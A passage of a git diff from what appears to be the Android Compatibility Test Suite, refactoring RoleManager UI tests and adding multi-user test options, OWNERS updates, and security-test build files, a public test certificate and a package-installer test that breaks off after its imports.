 import com.android.compatibility.common.util.TestUtils;
 import com.android.compatibility.common.util.ThrowingRunnable;
+import com.android.compatibility.common.util.UiAutomatorUtils;
 
 import org.junit.After;
 import org.junit.Before;
@@ -61,9 +66,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.ByteArrayOutputStream;
 import java.io.IOException;
-import java.nio.charset.StandardCharsets;
 import java.util.Collections;
 import java.util.List;
 import java.util.Objects;
@@ -85,6 +88,7 @@
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 1000;
 
     private static final String ROLE_NAME = RoleManager.ROLE_BROWSER;
+    private static final String ROLE_SHORT_LABEL = "Browser app";
 
     private static final String APP_APK_PATH = "/data/local/tmp/cts/role/CtsRoleTestApp.apk";
     private static final String APP_PACKAGE_NAME = "android.app.role.cts.app";
@@ -115,7 +119,6 @@
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
     private static final PackageManager sPackageManager = sContext.getPackageManager();
     private static final RoleManager sRoleManager = sContext.getSystemService(RoleManager.class);
-    private static final UiDevice sUiDevice = UiDevice.getInstance(sInstrumentation);
 
     @Rule
     public ActivityTestRule<WaitForResultActivity> mActivityRule =
@@ -162,6 +165,11 @@
         runShellCommand(sInstrumentation, "input keyevent KEYCODE_WAKEUP");
     }
 
+    @Before
+    public void closeNotificationShade() {
+        sContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+    }
+
     @Test
     public void requestRoleIntentHasPermissionControllerPackage() throws Exception {
         Intent intent = sRoleManager.createRequestRoleIntent(ROLE_NAME);
@@ -311,15 +319,10 @@
         mActivityRule.getActivity().startActivityToWaitForResult(intent);
     }
 
-    private void respondToRoleRequest(boolean allow) throws InterruptedException, IOException {
+    private void respondToRoleRequest(boolean allow)
+            throws InterruptedException, IOException, UiObjectNotFoundException {
         if (allow) {
-            UiObject2 item = sUiDevice.wait(Until.findObject(By.text(APP_PACKAGE_NAME)),
-                    TIMEOUT_MILLIS);
-            if (item == null) {
-                dumpWindowHierarchy();
-                fail("Cannot find item to click");
-            }
-            item.click();
+            waitFindObject(By.text(APP_PACKAGE_NAME)).click();
         }
         Pair<Integer, Intent> result = clickButtonAndWaitForResult(allow);
         int expectedResult = allow ? Activity.RESULT_OK : Activity.RESULT_CANCELED;
@@ -328,41 +331,25 @@
     }
 
     @Nullable
-    private UiObject2 findDontAskAgainCheck(boolean expected) {
-        return sUiDevice.wait(Until.findObject(By.text("Don\u2019t ask again")), expected
-                ? TIMEOUT_MILLIS : UNEXPECTED_TIMEOUT_MILLIS);
+    private UiObject2 findDontAskAgainCheck(boolean expected) throws UiObjectNotFoundException {
+        BySelector selector = By.text("Don\u2019t ask again");
+        return expected
+                ? waitFindObject(selector, TIMEOUT_MILLIS)
+                : waitFindObjectOrNull(selector, UNEXPECTED_TIMEOUT_MILLIS);
     }
 
     @Nullable
-    private UiObject2 findDontAskAgainCheck() {
+    private UiObject2 findDontAskAgainCheck() throws UiObjectNotFoundException {
         return findDontAskAgainCheck(true);
     }
 
     @NonNull
     private Pair<Integer, Intent> clickButtonAndWaitForResult(boolean positive) throws IOException,
-            InterruptedException {
-        String buttonId = positive ? "android:id/button1" : "android:id/button2";
-        UiObject2 button = sUiDevice.wait(Until.findObject(By.res(buttonId)), TIMEOUT_MILLIS);
-        if (button == null) {
-            dumpWindowHierarchy();
-            fail("Cannot find button to click");
-        }
-        button.click();
+            InterruptedException, UiObjectNotFoundException {
+        waitFindObject(By.res(positive ? "android:id/button1" : "android:id/button2")).click();
         return waitForResult();
     }
 
-    private void dumpWindowHierarchy() throws InterruptedException, IOException {
-        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-        sUiDevice.dumpWindowHierarchy(outputStream);
-        String windowHierarchy = outputStream.toString(StandardCharsets.UTF_8.name());
-
-        Log.w(LOG_TAG, "Window hierarchy:");
-        for (String line : windowHierarchy.split("\n")) {
-            Thread.sleep(10);
-            Log.w(LOG_TAG, line);
-        }
-    }
-
     @NonNull
     private Pair<Integer, Intent> waitForResult() throws InterruptedException {
         return mActivityRule.getActivity().waitForActivityResult(TIMEOUT_MILLIS);
@@ -385,6 +372,7 @@
 
     @Test
     public void targetCurrentSdkAndChangeDefaultDialerThenIsCanceled() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER));
         WaitForResultActivity activity = mActivityRule.getActivity();
         activity.startActivityToWaitForResult(new Intent()
                 .setComponent(new ComponentName(APP_PACKAGE_NAME,
@@ -396,6 +384,7 @@
 
     @Test
     public void targetCurrentSdkAndChangeDefaultSmsThenIsCanceled() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
         WaitForResultActivity activity = mActivityRule.getActivity();
         activity.startActivityToWaitForResult(new Intent()
                 .setComponent(new ComponentName(APP_PACKAGE_NAME,
@@ -405,47 +394,161 @@
         assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
     }
 
-    @FlakyTest
     @Test
     public void targetSdk28AndChangeDefaultDialerAndAllowThenIsDefaultDialer() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER));
         sContext.startActivity(new Intent()
                 .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
                         APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
                 .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
                 .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-        allowRoleRequestForApp28();
+        waitFindObject(By.text(APP_28_LABEL)).click();
+        waitFindObject(By.res("android:id/button1")).click();
         TelecomManager telecomManager = sContext.getSystemService(TelecomManager.class);
         TestUtils.waitUntil("App is not set as default dialer app", () -> Objects.equals(
                 telecomManager.getDefaultDialerPackage(), APP_28_PACKAGE_NAME));
     }
 
-    @FlakyTest
     @Test
     public void targetSdk28AndChangeDefaultSmsAndAllowThenIsDefaultSms() throws Exception {
+        assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
         sContext.startActivity(new Intent()
                 .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
                         APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
                 .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
                 .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-        allowRoleRequestForApp28();
+        waitFindObject(By.text(APP_28_LABEL)).click();
+        waitFindObject(By.res("android:id/button1")).click();
         TestUtils.waitUntil("App is not set as default sms app", () -> Objects.equals(
                 Telephony.Sms.getDefaultSmsPackage(sContext), APP_28_PACKAGE_NAME));
     }
 
-    private void allowRoleRequestForApp28() throws InterruptedException, IOException {
-        UiObject2 item = sUiDevice.wait(Until.findObject(By.text(APP_28_LABEL)), TIMEOUT_MILLIS);
-        if (item == null) {
-            dumpWindowHierarchy();
-            fail("Cannot find item to click");
-        }
-        item.click();
-        UiObject2 button = sUiDevice.wait(Until.findObject(By.res("android:id/button1")),
-                TIMEOUT_MILLIS);
-        if (button == null) {
-            dumpWindowHierarchy();
-            fail("Cannot find button to click");
-        }
-        button.click();
+    @Test
+    public void openDefaultAppDetailsThenIsNotDefaultApp() throws Exception {
+        runWithShellPermissionIdentity(() -> sContext.startActivity(new Intent(
+                Intent.ACTION_MANAGE_DEFAULT_APP)
+                .addCategory(Intent.CATEGORY_DEFAULT)
+                .putExtra(Intent.EXTRA_ROLE_NAME, ROLE_NAME)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
+                        | Intent.FLAG_ACTIVITY_CLEAR_TASK)));
+
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+                .hasDescendant(By.text(APP_PACKAGE_NAME)));
+
+        pressBack();
+    }
+
+    @Test
+    public void openDefaultAppDetailsAndSetDefaultAppThenIsDefaultApp() throws Exception {
+        runWithShellPermissionIdentity(() -> sContext.startActivity(new Intent(
+                Intent.ACTION_MANAGE_DEFAULT_APP)
+                .addCategory(Intent.CATEGORY_DEFAULT)
+                .putExtra(Intent.EXTRA_ROLE_NAME, ROLE_NAME)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
+                        | Intent.FLAG_ACTIVITY_CLEAR_TASK)));
+        waitForIdle();
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+                .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+                .hasDescendant(By.text(APP_PACKAGE_NAME)));
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+
+        pressBack();
+    }
+
+    @Test
+    public void openDefaultAppDetailsAndSetDefaultAppAndSetAnotherThenIsNotDefaultApp()
+            throws Exception {
+        runWithShellPermissionIdentity(() -> sContext.startActivity(new Intent(
+                Intent.ACTION_MANAGE_DEFAULT_APP)
+                .addCategory(Intent.CATEGORY_DEFAULT)
+                .putExtra(Intent.EXTRA_ROLE_NAME, ROLE_NAME)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
+                        | Intent.FLAG_ACTIVITY_CLEAR_TASK)));
+        waitForIdle();
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+                .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+                .hasDescendant(By.text(APP_PACKAGE_NAME)));
+        waitForIdle();
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))).click();
+
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+                .hasDescendant(By.text(APP_PACKAGE_NAME)));
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+
+        pressBack();
+    }
+
+    @Test
+    public void openDefaultAppListThenHasDefaultApp() throws Exception {
+        sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+                .addCategory(Intent.CATEGORY_DEFAULT)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+
+        waitFindObject(By.text(ROLE_SHORT_LABEL));
+
+        pressBack();
+    }
+
+    @Test
+    public void openDefaultAppListThenIsNotDefaultAppInList() throws Exception {
+        sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+                .addCategory(Intent.CATEGORY_DEFAULT)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+
+        assertThat(waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), UNEXPECTED_TIMEOUT_MILLIS))
+                .isNull();
+
+        pressBack();
+    }
+
+    @Test
+    public void openDefaultAppListAndSetDefaultAppThenIsDefaultApp() throws Exception {
+        sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+                .addCategory(Intent.CATEGORY_DEFAULT)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+        waitForIdle();
+        waitFindObject(By.text(ROLE_SHORT_LABEL)).click();
+        waitForIdle();
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+                .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+                .hasDescendant(By.text(APP_PACKAGE_NAME)));
+        assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+
+        pressBack();
+        pressBack();
+    }
+
+    @Test
+    public void openDefaultAppListAndSetDefaultAppThenIsDefaultAppInList() throws Exception {
+        sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+                .addCategory(Intent.CATEGORY_DEFAULT)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+        waitForIdle();
+        waitFindObject(By.text(ROLE_SHORT_LABEL)).click();
+        waitForIdle();
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+                .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+        waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+                .hasDescendant(By.text(APP_PACKAGE_NAME)));
+        pressBack();
+
+        waitFindObject(By.text(APP_PACKAGE_NAME));
+
+        pressBack();
+    }
+
+    private static void waitForIdle() {
+        UiAutomatorUtils.getUiDevice().waitForIdle();
+    }
+
+    private static void pressBack() {
+        UiAutomatorUtils.getUiDevice().pressBack();
+        waitForIdle();
     }
 
     @Test
@@ -624,7 +727,7 @@
     }
 
     @Test
-    public void manageRoleFromsFromControllerPermissionShouldBeDeclaredByPermissionController()
+    public void manageRolesFromControllerPermissionShouldBeDeclaredByPermissionController()
             throws PackageManager.NameNotFoundException {
         PermissionInfo permissionInfo = sPackageManager.getPermissionInfo(
                 PERMISSION_MANAGE_ROLES_FROM_CONTROLLER, 0);
diff --git a/tests/tests/rsblas/AndroidTest.xml b/tests/tests/rsblas/AndroidTest.xml
index f173521..542e45c 100644
--- a/tests/tests/rsblas/AndroidTest.xml
+++ b/tests/tests/rsblas/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="renderscript" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRsBlasTestCases.apk" />
diff --git a/tests/tests/rscpp/AndroidTest.xml b/tests/tests/rscpp/AndroidTest.xml
index edb9949e..4ee236a 100644
--- a/tests/tests/rscpp/AndroidTest.xml
+++ b/tests/tests/rscpp/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="renderscript" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRsCppTestCases.apk" />
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index a9c5ba7..e21020a 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -17,6 +17,9 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+         See source.android.com/devices/tech/admin/multi-user#user_types -->
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
index bff9d91..ea9476a 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
index e6433f7..72c6240 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
index 4cab33d..6ab45da 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/omapi/AndroidTest.xml b/tests/tests/secure_element/omapi/AndroidTest.xml
index 0f18f70..26b5911 100644
--- a/tests/tests/secure_element/omapi/AndroidTest.xml
+++ b/tests/tests/secure_element/omapi/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/tests/tests/secure_element/omapi/OWNERS b/tests/tests/secure_element/omapi/OWNERS
index fb599b2..853b7c3 100644
--- a/tests/tests/secure_element/omapi/OWNERS
+++ b/tests/tests/secure_element/omapi/OWNERS
@@ -1,3 +1,6 @@
 # Bug component: 456592
-rmojumder@google.com
 zachoverflow@google.com
+jackcwyu@google.com
+tokuda@google.com
+georgekgchang@google.com
+jimmychchang@google.com
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5afe33c..ad92d02 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -22,6 +22,7 @@
         "android-common",
         "ctstestserver",
         "ctstestrunner-axt",
+        "cts-install-lib",
         "compatibility-device-util-axt",
         "compatibility-common-util-devicesidelib",
         "guava",
@@ -32,6 +33,9 @@
         "org.apache.http.legacy",
         "android.test.base.stubs",
     ],
+    java_resources: [
+        ":PackageInstallerTestApp",
+    ],
     jni_libs: [
         "libctssecurity_jni",
         "libcts_jni",
@@ -59,4 +63,16 @@
         "general-tests",
         "sts",
     ],
+    certificate: ":security_cts_test_certificate",
 }
+
+android_test_helper_app {
+    name: "PackageInstallerTestApp",
+    srcs: ["testdata/src/**/*.java"],
+    manifest: "testdata/packageinstallertestapp.xml",
+}
+
+android_app_certificate {
+    name: "security_cts_test_certificate",
+    certificate: "security_cts_test_cert",
+}
\ No newline at end of file
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 6eaaaa5..6c2ac74 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -88,6 +88,16 @@
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
+
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
+                  android:exported="true" />
+        <receiver android:name="android.security.cts.PackageVerificationsBroadcastReceiver"
+                  android:permission="android.permission.BIND_PACKAGE_VERIFIER" >
+            <intent-filter>
+                <action android:name="android.intent.action.PACKAGE_NEEDS_VERIFICATION"/>
+                <data android:mimeType="application/vnd.android.package-archive" />
+            </intent-filter>
+        </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
new file mode 100644
index 0000000..c5cfd1e
--- /dev/null
+++ b/tests/tests/security/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 36824
+cbrubaker@google.com
+jeffv@google.com
+nnk@google.com
diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
new file mode 100644
index 0000000..67e87a1
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin
new file mode 100644
index 0000000..d33cb3f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_media.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
new file mode 100644
index 0000000..8c663d4
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin
new file mode 100644
index 0000000..cae337e
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_resolv.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
new file mode 100644
index 0000000..8248649
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
new file mode 100644
index 0000000..55640d7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
new file mode 100644
index 0000000..f4339e6
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
new file mode 100644
index 0000000..e27820f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin
new file mode 100644
index 0000000..1259311
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_media.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
new file mode 100644
index 0000000..0e72db7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
new file mode 100644
index 0000000..f5de871
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
new file mode 100644
index 0000000..e28c489
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
new file mode 100644
index 0000000..96c192c
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
new file mode 100644
index 0000000..abcc35f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
Binary files differ
diff --git a/tests/tests/security/security_cts_test_cert.pk8 b/tests/tests/security/security_cts_test_cert.pk8
new file mode 100644
index 0000000..320e18d
--- /dev/null
+++ b/tests/tests/security/security_cts_test_cert.pk8
Binary files differ
diff --git a/tests/tests/security/security_cts_test_cert.x509.pem b/tests/tests/security/security_cts_test_cert.x509.pem
new file mode 100644
index 0000000..fd10e48
--- /dev/null
+++ b/tests/tests/security/security_cts_test_cert.x509.pem
@@ -0,0 +1,24 @@
+-----BEGIN CERTIFICATE-----
+MIIECzCCAvOgAwIBAgIUBCvKStYix70zHFiAKnzigdwl2z4wDQYJKoZIhvcNAQEL
+BQAwgZQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQH
+DA1Nb3VudGFpbiBWaWV3MRAwDgYDVQQKDAdBbmRyb2lkMRAwDgYDVQQLDAdBbmRy
+b2lkMRAwDgYDVQQDDAdBbmRyb2lkMSIwIAYJKoZIhvcNAQkBFhNhbmRyb2lkQGFu
+ZHJvaWQuY29tMB4XDTE5MDgxOTIxMzcwM1oXDTQ3MDEwNDIxMzcwM1owgZQxCzAJ
+BgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1Nb3VudGFp
+biBWaWV3MRAwDgYDVQQKDAdBbmRyb2lkMRAwDgYDVQQLDAdBbmRyb2lkMRAwDgYD
+VQQDDAdBbmRyb2lkMSIwIAYJKoZIhvcNAQkBFhNhbmRyb2lkQGFuZHJvaWQuY29t
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodU
+FVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4
+/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnx
+C2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHA
+Se3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6
+D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urt
+JQIDAQABo1MwUTAdBgNVHQ4EFgQUHUCJ6l5sn0M96xgIXBkY7dvm86MwHwYDVR0j
+BBgwFoAUHUCJ6l5sn0M96xgIXBkY7dvm86MwDwYDVR0TAQH/BAUwAwEB/zANBgkq
+hkiG9w0BAQsFAAOCAQEAAXpJFK3Lp6HuEeSkV60YUH7KKFf9FCfIlszxAcnPb7Pu
+8LX8pI59jYXUxp6ig2IRP/3jXWyf5mFyXcfPTES9Xi1yruV/hQ3KvvhrC2FSqF99
+AXPB31NiXxyw554iPGGLqRsxLb1aeRgofiGLG6CE+16RIPX54pDS6Y+MDJ7iaRsG
+L5qPP3JyQ5b3KBHFXE9GHJFEha2mrLThv1V6740ueErt2jkP95BnELmFwo+RH4ha
+sUOe79aEbq4ERKrmKf5vZ4GGS3vHQ6MSk53qeDFrla/05pZRfzUvwu88cLs0EjSI
+o36G2JpHHjd58pH7m4xeqcBX5eUKay/EfoYef4AopA==
+-----END CERTIFICATE-----
diff --git a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
index f661549..f085f20 100644
--- a/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
+++ b/tests/tests/security/src/android/security/cts/ARTBootASLRTest.java
@@ -38,10 +38,12 @@
         String line;
         boolean foundBootART = false;
         while ((line = bufReader.readLine()) != null) {
-            // Check that we don't have /system/.*boot.art
-            if (line.matches("/system/.*boot\\.art")) {
-                fail("found " + line + " from system partition");
-            } else if (line.matches(".*boot\\.art")) {
+            // Check that we have a data or extracted boot image.
+            // There should still be a system boot image mapping that contains only the image
+            // bitmap.
+            if (line.matches("(.*) \\[anon:dalvik(.*)boot\\.art\\]?")) {
+                foundBootART = true;
+            } else if (line.matches("(.*) /data/dalvik-cache/(.*)boot\\.art")) {
                 foundBootART = true;
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
new file mode 100644
index 0000000..b87b36b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.Manifest;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
